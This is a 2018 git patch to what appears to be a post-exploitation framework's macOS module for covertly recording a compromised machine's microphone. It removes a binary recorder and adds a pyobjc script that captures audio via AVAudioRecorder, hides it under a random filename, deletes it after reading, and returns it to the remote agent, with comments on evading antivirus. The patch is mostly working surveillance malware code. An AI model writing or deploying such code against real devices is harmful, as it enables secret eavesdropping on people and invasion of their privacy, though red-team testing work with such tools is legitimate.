From 94f371fbc2729868deef5426de9d6d471c27351c Mon Sep 17 00:00:00 2001
From: Gabriel Ryan <gryan@gdssecurity.com>
Date: Thu, 4 Jan 2018 06:34:12 -0600
Subject: [PATCH] Module now uses pyobjc script instead of stand-alone binary
 for microphone capture.

---
 data/misc/osx_mic_record_bin                  | Bin 19136 -> 0 bytes
 .../python/collection/osx/osx_mic_record.py   | 103 +++++++++++-------
 2 files changed, 61 insertions(+), 42 deletions(-)
 delete mode 100755 data/misc/osx_mic_record_bin

diff --git a/data/misc/osx_mic_record_bin b/data/misc/osx_mic_record_bin
deleted file mode 100755
index 03aaa9b386d9476fefd564bfe9712254064f4118..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 19136
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
Cn<!ZT

diff --git a/lib/modules/python/collection/osx/osx_mic_record.py b/lib/modules/python/collection/osx/osx_mic_record.py
index b964b24..2692c33 100644
--- a/lib/modules/python/collection/osx/osx_mic_record.py
+++ b/lib/modules/python/collection/osx/osx_mic_record.py
@@ -1,6 +1,3 @@
-import os
-import base64
-
 class Module:
 
     def __init__(self, mainMenu, params=[]):
@@ -15,8 +12,7 @@ class Module:
 
             # More verbose multi-line description of the module
             'Description': ('Records audio through the MacOS webcam mic '
-                            'using a custom binary that interacts directly '
-                            'with the Apple AVFoundation API.'),
+                            'by leveraging the Apple AVFoundation API.'),
 
             # True if the module needs to run in the background
             'Background': False,
@@ -40,8 +36,10 @@ class Module:
             # List of any references/other comments
             'Comments': [
                 (
-                    'Source code for custom binary: '
-                    'https://github.com/s0lst1c3/osx_mic_record'
+                    'Executed within memory, although recorded audio will '
+                    'touch disk while the script is running. This is unlikely '
+                    'to trip A/V, although a user may notice the audio file '
+                    'if it stored in an obvious location.'
                 ),
             ]
         }
@@ -52,14 +50,14 @@ class Module:
             #   value_name : {description, required, default_value}
             'Agent': {
                 # The 'Agent' option is the only one that MUST be in a module
-                'Description'   :   'Agent to grab a screenshot from.',
+                'Description'   :   'Agent to record audio from.',
                 'Required'      :   True,
                 'Value'         :   '',
             },
             'OutputDir': {
                 'Description'   :   ('Directory on remote machine '
-                                     'in which all binary content '
-                                     'should be saved. (Default: /tmp)'),
+                                     'in recorded audio should be '
+                                     'saved. (Default: /tmp)'),
                 'Required'      :   False,
                 'Value'         :   '/tmp',
             },
@@ -88,53 +86,74 @@ class Module:
 
     def generate(self, obfuscate=False, obfuscationCommand=''):
 
-        output_dir = self.options['OutputDir']['Value']
         record_time = self.options['RecordTime']['Value']
-        osx_mic_record_bin = os.path.join(
-                        self.mainMenu.installPath,
-                        'data/misc/osx_mic_record_bin',
-        )
-        with open(osx_mic_record_bin, 'rb') as input_handle:
-            osx_mic_record_b64 = base64.b64encode(input_handle.read())
+        output_dir = self.options['OutputDir']['Value']
 
         return '''
+import objc
+import objc._objc
+import time
+import sys
+import random
 import os
-import base64
-import string
 
-# setable option parameter are set here
+from string import ascii_letters
+from Foundation import *
+from AVFoundation import *
+
+record_time = %s
 output_dir = '%s'
-record_time = '%s'
-osx_mic_record_b64 = '%s'
 
 if __name__ == '__main__':
 
-    # generate path for osx_mic_record_bin
-    osx_mic_record_bin = ''.join(random.choice(
-                string.ascii_letters) for _ in range(32))
-    osx_mic_record_bin = os.path.join(output_dir, osx_mic_record_bin)
+    pool = NSAutoreleasePool.alloc().init()
 
-    # generate path for saved audio output
-    output_file = ''.join(random.choice(
-                string.ascii_letters) for _ in range(32))
-    output_file = os.path.join(output_dir, output_file)
+    # construct audio URL
+    output_file = ''.join(random.choice(ascii_letters) for _ in range(32))
+    output_path = os.path.join(output_dir, output_file)
+    audio_path_str = NSString.stringByExpandingTildeInPath(output_path)
+    audio_url = NSURL.fileURLWithPath_(audio_path_str)
 
-    # save the osx_mic_record_b64 to disk as a binary file and make executable
-    with open(osx_mic_record_bin, 'wb') as output_handle:
-        output_handle.write(base64.b64decode(osx_mic_record_b64))
-    run_command('chmod 777 ' + osx_mic_record_bin)
+    # fix metadata for AVAudioRecorder
+    objc.registerMetaDataForSelector(
+        b"AVAudioRecorder",
+        b"initWithURL:settings:error:",
+        dict(arguments={4: dict(type_modifier=objc._C_OUT)}),
+    )
+    
+    # initialize audio settings
+    audio_settings = NSDictionary.dictionaryWithDictionary_({
+        'AVEncoderAudioQualityKey' : 0,
+        'AVEncoderBitRateKey' : 16,
+        'AVSampleRateKey': 44100.0,
+        'AVNumberOfChannelsKey': 2,
+    })
 
-    # record for n seconds
-    run_command(' '.join([osx_mic_record_bin, record_time, output_file]))
+    # create the AVAudioRecorder
+    (recorder, error) = AVAudioRecorder.alloc().initWithURL_settings_error_(
+                                        audio_url,
+                                        audio_settings,
+                                        objc.nil,
+    )
+
+    # bail if unable to create AVAudioRecorder
+    if error is not None:
+        NSLog(error)
+        sys.exit(1)
+
+    # record audio for record_time seconds
+    recorder.record()
+    time.sleep(record_time)
+    recorder.stop()
 
     # retrieve content from output file then delete it
-    with open(output_file, 'rb') as input_handle:
+    with open(output_path, 'rb') as input_handle:
         captured_audio = input_handle.read()
-    run_command('rm -f ' + output_file)
-
-    # delete osx_mic_record_bin
-    run_command('rm -f ' + osx_mic_record_bin)
+    run_command('rm -f ' + output_path)
 
+    # return captured audio to agent
     print captured_audio
+
+    del pool
     
-''' % (output_dir, record_time, osx_mic_record_b64) # script
+''' % (record_time, output_dir) # script